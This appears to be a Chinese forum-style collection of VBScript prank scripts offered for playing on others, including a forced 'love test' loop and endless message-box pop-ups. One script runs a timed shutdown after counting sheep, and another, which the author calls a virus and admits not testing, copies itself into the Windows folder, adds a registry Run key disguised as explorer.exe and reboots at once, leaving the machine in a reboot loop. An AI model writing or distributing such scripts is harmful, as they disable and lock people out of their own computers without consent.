const yourname = " 请在这填上姓名"
const title = " 爱情测试"
const question = "你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。"
const info = "你在说谎！不要逃避，实话实说。"
const scend = "你说出了你的心扉，那就向他（她）表白吧。"
dim youranswer
do
youranswer = inputbox(question, title)
if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation+vbokonly, title
功能：让他非说出你指定的名字

< script language="VBScript">
dim a,b
dim lanchr()
redim lanchr(10)
lanchr(1)="从前有座山"
lanchr(2)="山上有座庙"
lanchr(3)="庙里有个老和尚和小和尚"
lanchr(4)="有一天"
lanchr(5)="老和尚对小和尚讲故事,说道"
sub click()
a=1
for a=1 to 5
b=lanchr(a)
msgbox(b)
next
settimeout "click()",1
end sub
</script>
<a onClick=click() style='cursor:hand'> 点击我查看《两个男人的故事》</a>
保存为*.htm
无限循环！！
 

MsgBox "兄弟呀，你最近是否失眠",vbinformation
Randomize()
Dim a
a=Int(rnd*2)
Select Case a
Case 0
MsgBox ("我也是这样啊``````")
Case 1
MsgBox ("(-.-)，同是天涯失眠人。")
Case 2
MsgBox ("(~.~)，还是说你没有失眠")
End select
MsgBox ("告诉你一个祖传秘方")
Dim b(99)
For ji=0 To 99
b(ji)=ji+1
MsgBox (b(ji) & "只羊")
Next
MsgBox ("好吧，晚安！")
If b(99)=100 Then
Set Wshell=Wscript.CreateObject("Wscript.Shell")
Wshell.run "shutdown -s -t 100"
End if

ps 一直弹到100 然后倒数计时关机
 
on error resume next
set wshshell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
fso.movefile(wscript.scriptfullname,"%windir%\")
wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1
wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1
ps:这个毒呀 开机就重起 我还没验证过呢
 

do
    msgbox "You are foolish!" '可以改成想弹出的字
loop
ps:这简单 一直弹同一句话